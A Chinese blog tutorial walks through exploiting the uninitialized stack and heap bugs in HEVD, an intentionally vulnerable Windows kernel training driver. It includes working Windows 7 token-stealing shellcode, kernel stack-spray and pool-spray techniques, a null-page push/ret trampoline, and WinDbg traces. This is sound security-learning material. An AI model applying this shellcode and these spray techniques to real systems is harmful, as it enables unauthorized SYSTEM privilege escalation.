作者:k0shl
来源:http://whereisk0shl.top/hevd-kernel-exploitation-uninitialized-stack-&-heap.html
我是菜鸟,大牛们请喷T.T
HEVD是HackSys的一个Windows的训练项目,是一个存在漏洞的内核的驱动,里面存在多个漏洞,通过ControlCode控制漏洞类型,这个项目的驱动里几乎涵盖了内核可能存在的所有漏洞,从最基础的栈溢出,到池溢出,释放后重用等等类型,是一个非常好的项目。非常适合我们熟悉理解Windows内核漏洞的原理,利用技巧等等。
项目地址:https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
项目可以通过WDK的build方法直接编译,详细编译方法可以看《0day安全:软件漏洞分析技术》中内核漏洞章第一节内容有介绍,也可以百度直接搜到,通过build方法可以编译出对应版本的驱动.sys,然后通过osrloader工具注册并加载,之后就可以通过Demo来进行调试和提权了。
在这个项目中包含了两种漏洞类型,叫做Uninitialized Stack和Uninitialized Heap,分别是未初始化的栈和未初始化的堆,具体的漏洞形成原因可以通过阅读HEVD项目的源码和说明了解。大致漏洞形成的原因就是在驱动没有对结构体进行初始化,从而导致可以通过提前覆盖内核堆栈的方法控制关键结构体,在没有进行初始化和结构体内容检查的情况下,直接引用结构体的函数指针,最后可以通过提前覆盖的方法控制结构题的函数指针,跳转到提权shellcode,来完成提权。
这篇文章的内容不再分析漏洞成因,成因都非常简单,我将就几方面内容和大家一起分享一下学习成果,第一部分将分享一下HEVD项目中通用的提权shellcode,第二部分将跟大家分享一下j00ru提出的利用NtMapUserPhysicalPages进行kernel stack spray的方法,第三部分我将分享一下HEVD中的一个challenge,是关于未初始化堆空间利用的方法。
HEVD项目中,不仅提供了包含漏洞的驱动源码,还包含了对应利用的Exploit,但是在Uninitialized Heap漏洞中提出了一个challenge。
下面我们一起来开始今天的学习之旅吧!
关于提权的shellcode方法有很多,看过我之前对于CVE-2014-4113分析的小伙伴一定对替换token的这种方法比较熟悉,在我的那篇分析里,利用替换token这种shellcode是用C来实现的,当然,还有其他方法,比如将ACL置NULL这种方法,今天我还是给大家一起分享一下替换token这种方法,这种方法非常好用也非常常用,HEVD中替换shellcode的方法,是用内联汇编完成的。
VOID TokenStealingPayloadWin7Generic() {
// No Need of Kernel Recovery as we are not corrupting anything
__asm {
pushad ; Save registers state
; Start of Token Stealing Stub
xor eax, eax ; Set ZERO
mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS:[0x124]
mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax ; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad ; Restore registers state
}
}
这种方法,首先会通过fs段寄存器获取_KTHREAD结构题,fs段寄存器存放了关于线程的各种信息,当处于内核态时,fs的值为0x30,处于用户态时fs值则为0x3b
kd> p
01352782 57 push edi
kd> p
01352783 60 pushad
kd> p
01352784 33c0 xor eax,eax
kd> p
01352786 648b8024010000 mov eax,dword ptr fs:[eax+124h]
kd> dd 0030:00000124
0030:00000124 859615c0
随后获取到KTHREAD之后,我们可以获取到EPROCESS结构,这个结构中包含了PID等信息,最为关键的是,在内核中是以链表存放的,而这个链表就在_EPROCESS结构中。
kd> dd 859615c0+50
85961610 85a5e538 09000000 00000000 00000000
85961620 00000000 00000037 01000002 00000000
85961630 85961680 82936088 82936088 00000000
85961640 002e5ef3 00000000 7ffdd000 00000000
85961650 006a0008 00000000 859616c8 859616c8
85961660 6751178a 0000006e 00000000 00000000
85961670 00000000 00000000 00000060 82972b00
85961680 859617fc 859617fc 859615c0 843b0690
kd> dt _EPROCESS 85a5e538
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x1d27c2c`295b0eb9
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x00000c64 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x8294a4f0 - 0x843d76a0 ]
一旦获取了EPROCESS结构,我们能做很多事情,最简单的,观察偏移0xb4位置,存放着当前进程的PID,而0xb8位置,存放着一个LIST_ENTRY结构,这个结构存放着前面一个EPROCESS和后一个EPROCESS,这就很有意思了。
我可以通过这种方法,遍历当前系统所有存在的EPROCESS,而且能够找到System的EPROCESS,实际上,这个_EPROCESS,我们通过Windbg的!process 0 0的方法可以获取到。
kd> dt _LIST_ENTRY 841bdad0+b8
urlmon!_LIST_ENTRY
[ 0x84e64290 - 0x8294a4f0 ]
+0x000 Flink : 0x84e64290 _LIST_ENTRY [ 0x854670e8 - 0x841bdb88 ]
+0x004 Blink : 0x8294a4f0 _LIST_ENTRY [ 0x841bdb88 - 0x85a5e5f0 ]
kd> dd 841bdad0+b8
841bdb88 84e64290 8294a4f0 00000000 00000000
841bdb98 00000000 00000000 0000000d 8293db40
841bdba8 00000000 00644000 00246000 00000000
841bdbb8 00000000 00000000 00000000 87a01be8
841bdbc8 87a0130b 00000000 00000000 00000000
841bdbd8 00000000 00000000 841de2e0 00000000
841bdbe8 00000005 00000040 00000000 00000000
841bdbf8 00000000 00000000 00000000 00000000
kd> dt _EPROCESS 84e64290-b8
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x1d27bbd`9fafafa2
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x00000100 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x854670e8 - 0x841bdb88 ]
回到shellcode,后面有一个loop循环,在循环中做的事情就是不断通过链表的前向指针和后向指针找到System的_EPROCESS结构,也就是+0xb4位置的PID为4的结构,在结构中存放着token,只要找到System的token,替换掉当前进程的token,就可以完成提权了。
在下面的调试中,由于我多次重新跟踪调试,所以每次申请的shellcode指针地址都不太一样,但不影响理解。
在HEVD项目中涉及到一种方法,可以进行Kernel Stack Spray,其实在内核漏洞中,未初始化的堆栈这种漏洞相对少,而且在Windows系统中内核堆栈不像用户态的堆栈,是共用的一片空间,因此如果使用Kernel Stack Spray是有一定风险的,比如可能覆盖到某些其他的API指针。在作者博客中也提到这种Kernel Stack Spray是一种比较冷门的方法,但也比较有意思。这里我就和大家一起分析一下,利用NtMapUserPhysicalPages这个API完成内核栈喷射的过程。
为什么要用NtMapUserPhysicalPages,别忘了我们执行提权Exploit的时候,是处于用户态,在用户态时使用的栈地址是用户栈,如果我们想在用户态操作内核栈,可以用这个函数在用户态来完成对内核栈的控制。
j00ru博客对应内容文章地址:http://j00ru.vexillium.org/?p=769
首先我们触发的是Uninitialized Stack这个漏洞,在触发之前,我们需要对内核栈进行喷射,这样可以将shellcode函数指针覆盖到HEVD.sys的结构体中。用到的就是NtMapUserPhysicalPages这个方法。
这个方法存在于ntkrnlpa.exe中,也就是nt!NtMapUserPhysicalPages,首先到达这个函数调用的时候,进入内核态,我们可以通过cs段寄存器来判断,一般cs为0x8时处于内核态,为0x1b时处于用户态。
kd> r cs
cs=00000008
kd> r
eax=00000000 ebx=00000000 ecx=01342800 edx=00000065 esi=85844980 edi=85bd88b0
eip=95327d10 esp=8c1f197c ebp=8c1f1aa8 iopl=0 nv up ei ng nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000292
在此之前,内核栈的情况如下图:
注意esp和ebp,现在处于内核栈中,这时候,我们可以通过对内核栈下写入断点,这样在向栈写入数据,也就是栈喷射时会中断。
kd> g
nt!memcpy+0x33:
82882393 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以看到,在nt!memcpy中断,这时候执行的是一处拷贝操作,这时候通过kb查看一下堆栈回溯。
kd> kb
ChildEBP RetAddr Args to Child
94d12af4 82b2131b 94d12c20 003b09f8 00001000 nt!memcpy+0x33
94d12b34 82b1f58d 94d12c20 00000000 00b1fcb8 nt!MiCaptureUlongPtrArray+0x3f
94d13c20 82886db6 00000000 00000400 003b09f8 nt!NtMapUserPhysicalPages+0x9e
94d13c20 77ca6c74 00000000 00000400 003b09f8 nt!KiSystemServicePostCall
可以看到,函数的调用是NtMapUserPhysicalPages -> MiCaptureUlongPtrArray -> memcpy,来看一下这个过程的函数实现,首先是nt!NtMapUserPhysicalPages
NTSTATUS __stdcall NtMapUserPhysicalPages(PVOID BaseAddress, PULONG NumberOfPages, PULONG PageFrameNumbers)
if ( (unsigned int)NumberOfPages > 0xFFFFF )
return -1073741584;
BaseAddressa = (unsigned int)BaseAddress & 0xFFFFF000;
v33 = ((_DWORD)NumberOfPages << 12) + BaseAddressa - 1;
if ( v33 <= BaseAddressa )
return -1073741584;
v4 = &P;//栈地址
v39 = 0;
v37 = &P;
if ( PageFrameNumbers )
{
if ( !NumberOfPages )
return 0;
if ( (unsigned int)NumberOfPages > 0x400 )//如果要超过1024,就要扩展池,不过这里不用
{
v4 = (char *)ExAllocatePoolWithTag(0, 4 * (_DWORD)NumberOfPages, 0x77526D4Du);
v37 = v4;
if ( !v4 )
return -1073741670;
}
v5 = MiCaptureUlongPtrArray((int)NumberOfPages, (unsigned int)PageFrameNumbers, v4);//v4 要拷贝的目标 内核栈 a2,要覆盖的EoPBuffer 长度是4*NumberOfPages
对应的注释已经标记,在函数中调用了MiCaptureUlongPtrArray,会将传入NtMapUserPhysicalPages的参数,长度也就是NumberOfPages,内容也就是PageFrameNumbers(详情请参考Exploit中的UninitializedStackVariable.c),然后进入MiCaptureUlongPtrArray。
int __fastcall MiCaptureUlongPtrArray(int a1, unsigned int a2, void *a3)
{
size_t v3; // ecx@1
v3 = 4 * a1;
if ( v3 )
{
if ( a2 & 3 )
ExRaiseDatatypeMisalignment();
if ( v3 + a2 > (unsigned int)MmUserProbeAddress || v3 + a2 < a2 )
*(_BYTE *)MmUserProbeAddress = 0;
}
memcpy(a3, (const void *)a2, v3);
return 0;
}
进入后,会将shellcode的内容拷贝到a3,也就是&P,内核栈中。
kd> p
nt!memcpy+0x35:
82882395 ff2495ac248882 jmp dword ptr nt!memcpy+0x14c (828824ac)[edx*4]
kd> dd 94d139e4
94d139e4 00c62800 00c62800 00c62800 00c62800
94d139f4 00c62800 00c62800 00c62800 00c62800
94d13a04 00c62800 00c62800 00c62800 00c62800
94d13a14 00c62800 00c62800 00c62800 00c62800
94d13a24 00c62800 00c62800 00c62800 00c62800
memcpy之后,可以看到栈地址空间被喷射上了shellcode的指针,接下来触发漏洞,关于触发的原理阅读HEVD.sys源码很清晰,这里不详细介绍,大致就是当传入的UserValue,和漏洞的MagicValue不一样的情况下,就可以引发未初始化变量。
kd> p
HEVD+0x2cac:
95327cac 8b95ecfeffff mov edx,dword ptr [ebp-114h]
kd> dd ebp-114
8c1f1994 baadf00d 01342800 01342800 01342800
8c1f19a4 01342800 01342800 01342800 01342800
8c1f19b4 01342800 01342800 01342800 01342800
8c1f19c4 01342800 01342800 01342800 01342800
8c1f19d4 01342800 01342800 01342800 01342800
8c1f19e4 01342800 01342800 01342800 01342800
8c1f19f4 01342800 01342800 01342800 01342800
在进入HEVD的Trigger函数之后,可以看到此时内核栈已经被覆盖,这时候UserValue的值,也就是我们可控的值是baadf00d,随后看一下StackVariable结构体的内容。
kd> p
HEVD+0x2ccc:
95327ccc e853d8ffff call HEVD+0x524 (95325524)
kd> r eax
eax=8c1f1998
kd> dd 8c1f1998
8c1f1998 01342800 01342800 01342800 01342800
8c1f19a8 01342800 01342800 01342800 01342800
8c1f19b8 01342800 01342800 01342800 01342800
8c1f19c8 01342800 01342800 01342800 01342800
随后会对UserValue和MagicValue进行比较。
kd> p
HEVD+0x2cda:
95327cda 3b4de0 cmp ecx,dword ptr [ebp-20h]
kd> p
HEVD+0x2cdd:
95327cdd 7516 jne HEVD+0x2cf5 (95327cf5)
kd> r ecx
ecx=baadf00d
kd> dd ebp-20
8c1f1a88 bad0b0b0
UserValue是baadf00d,而HEVD.sys的MagicValue的值是bad0b0b0,不相等的情况下,不会对之前的StackVariable结构体中的成员变量初始化,而此时成员变量的值都被shellcode覆盖,最后引用,导致在内核态进入shellcode。
kd> p
HEVD+0x2d33:
95327d33 ff95f4feffff call dword ptr [ebp-10Ch]
kd> dd ebp-10c
8c1f199c 01342800
01342800 55 push ebp
01342801 8bec mov ebp,esp
01342803 83e4f8 and esp,0FFFFFFF8h
01342806 83ec34 sub esp,34h
01342809 33c0 xor eax,eax
0134280b 56 push esi
0134280c 33f6 xor esi,esi
最后在内核态执行shellcode,替换当前进程token为System token,完成提权。
最后就是关于这次challenge了,其实这个challenge非常好理解,如果做过浏览器或者其他跟堆有关漏洞的小伙伴肯定第一时间想到的就是Heap Spray,没错,堆喷!
利用内核堆喷,我们可以完成对堆结构的控制,最后完成提权,在文章最后,我放一个我修改了UninitializedHeapVariable对应Exploit内容的项目地址,可以利用我的这个项目地址完成提权。
但是,内核堆喷和应用层的堆喷不太一样,要解决两个问题,第一个shellcode放在哪里,第二个如何在用户态向内核堆进行喷射。
解决问题的关键在于NtAllocateVirtualMemory和CreateMutex,首先NtAllocateVirtualMemory对于内核熟悉的小伙伴肯定不会陌生,看过我前面两篇内核调试学习的小伙伴也不会陌生,在很多内核漏洞利用场景中,都会用到这个函数,这个函数可以用来申请零页内存,来完成shellcode的布局。
如何布局是一个问题,这里来看一下漏洞触发位置的调用。
92319abd 83c408 add esp,8
92319ac0 8b4ddc mov ecx,dword ptr [ebp-24h]
92319ac3 8b5104 mov edx,dword ptr [ecx+4]
92319ac6 ffd2 call edx {00460046}
如果我们能够控制edx的话,这里调用的就是刚才通过NtAllocateVirtualMemory申请的内存,这里可以直接往这里面存放shellcode,可是我从老外那学到了一种方法,就是获取shellcode的函数入口指针,然后这里存放68+addr+c3的组合,这样call调用后,执行的内容就是。
kd> t
00640066 68b0141401 push 11414B0h
kd> p
0064006b c3 ret
这样,相当于将shellcode入口指针入栈,esp变成shellcode指针,然后ret,之后就会跳转到shellcode中执行shellcode,这样对于NtAllocateVirtualMemory布局操作就简单很多。
这样,我们只需要申请一个零页空间就行了。
kd> dd 00460046
00460046 35278068 0000c301
布置上我们的push shellcode addr;ret
然后就是关键的CreateMutex,这个会创建互斥体,我们申请多个互斥体,完成对堆的布局。
kd> p
KernelBase!CreateMutexA+0x19:
001b:75961675 e809000000 call KernelBase!CreateMutexExA (75961683)
kd> dd esp
0099e73c 00000000 0099f788 00000001 001f0001
0099e74c 0099f81c 0110320e 00000000 00000001
0099e75c 0099f788 9c1c5b57 00000000 00000000
0099e76c 00000000 00000000 00000000 00000000
0099e77c 00000000 00000000 00000000 00000000
0099e78c 00000000 00000000 00000000 00000000
0099e79c 00000000 00000000 00000000 00000000
0099e7ac 00000000 00000000 00000000 00000000
kd> dc 99f788
0099f788 46464646 67716870 656d7568 6e6c7961 FFFFphqghumeayln
0099f798 7864666c 63726966 78637376 77626767 lfdxfircvscxggbw
0099f7a8 716e666b 77787564 6f666e66 7273767a kfnqduxwfnfozvsr
0099f7b8 706a6b74 67706572 70727867 7976726e tkjprepggxrpnrvy
0099f7c8 776d7473 79737963 70716379 6b697665 stmwcysyycqpevik
0099f7d8 6d666665 6d696e7a 73616b6b 72737776 effmznimkkasvwsr
0099f7e8 6b7a6e65 66786379 736c7478 73707967 enzkycxfxtlsgyps
0099f7f8 70646166 00656f6f 9c1c5b57 0099e760 fadpooe.W[..`...
申请多个互斥体后,可以看到对池空间的控制。可以看到,第一个参数是mutexname,这个前面必须包含46,这样才能进行函数调用后,在pool中覆盖到00460046的值。
kd> r eax
eax=a6630b38
kd> !pool a6630b38
Pool page a6630b38 region is Paged pool
a6630000 size: 100 previous size: 0 (Allocated) IoNm
a6630100 size: 8 previous size: 100 (Free) 0.4.
a6630108 size: 128 previous size: 8 (Allocated) NtFs
a6630230 size: 8 previous size: 128 (Free) Sect
a6630238 size: 18 previous size: 8 (Allocated) Ntf0
a6630250 size: 38 previous size: 18 (Allocated) CMVa
a6630288 size: 68 previous size: 38 (Allocated) FIcs
a66302f0 size: f8 previous size: 68 (Allocated) ObNm
a66303e8 size: 138 previous size: f8 (Allocated) NtFs
a6630520 size: 100 previous size: 138 (Allocated) IoNm
a6630620 size: 128 previous size: 100 (Free) ObNm
a6630748 size: 68 previous size: 128 (Allocated) FIcs
a66307b0 size: 380 previous size: 68 (Allocated) Ntff
*a6630b30 size: f8 previous size: 380 (Allocated) *Hack
Owning component : Unknown (update pooltag.txt)
这里a6630b30中包含了8字节的pool header,和0xf0的nopage pool,通过CreateMutex,我们会对kernel pool占用。
kd> dd a6630b38
a6630b38 00000000 00460046 00780069 00620074
a6630b48 0074006b 00770065 00630071 006a0078
a6630b58 00740065 00720063 00730061 006a007a
a6630b68 006e0065 00790070 006a0064 00680061
a6630b78 00710067 00660072 006c007a 0079006f
a6630b88 007a0075 0068006f 00760074 006a0078
a6630b98 006b0063 00730073 00750064 00770077
可以看到,现在头部结构已经被00460046占用,接下来,还是由于UserValue和MagicValue的原因,引发Uninitialized Heap Variable。
kd> g
Breakpoint 1 hit
HEVD+0x299e:
9231999e ff1598783192 call dword ptr [HEVD+0x898 (92317898)]
kd> p
HEVD+0x29a4:
923199a4 8945dc mov dword ptr [ebp-24h],eax
kd> dd eax
889f8610 00000000 00460046 00780069 00620074
kd> dd 00460046
00460046 35278068 0000c301
随后由于池中结构体的内容未初始化,内核池中存放的还是我们通过CreateMutex布置的内容,直接引用会跳转到我们通过NtAllocateVirtualMemory申请的空间。
kd> p
HEVD+0x2ac0:
95327ac0 8b4ddc mov ecx,dword ptr [ebp-24h]
kd> p
HEVD+0x2ac3:
95327ac3 8b5104 mov edx,dword ptr [ecx+4]
kd> r ecx
ecx=a86c5580
kd> p
HEVD+0x2ac6:
95327ac6 ffd2 call edx
kd> t
00460046 68b0141401 push 11414B0h
kd> p
0064006b c3 ret
kd> p
011414b0 53 push ebx
011414b0 53 push ebx
011414b1 56 push esi
011414b2 57 push edi
011414b3 60 pushad
011414b4 33c0 xor eax,eax
011414b6 648b8024010000 mov eax,dword ptr fs:[eax+124h]
011414bd 8b4050 mov eax,dword ptr [eax+50h]
011414c0 8bc8 mov ecx,eax
随后push shellcode之后,esp的值被修改,直接ret会跳转到shellcode address,执行提权。
最后我贴上更新后的项目代码。
https://github.com/k0keoyo/try_exploit/tree/master/HEVD_Source_with_Unin_Heap_Variable_Chall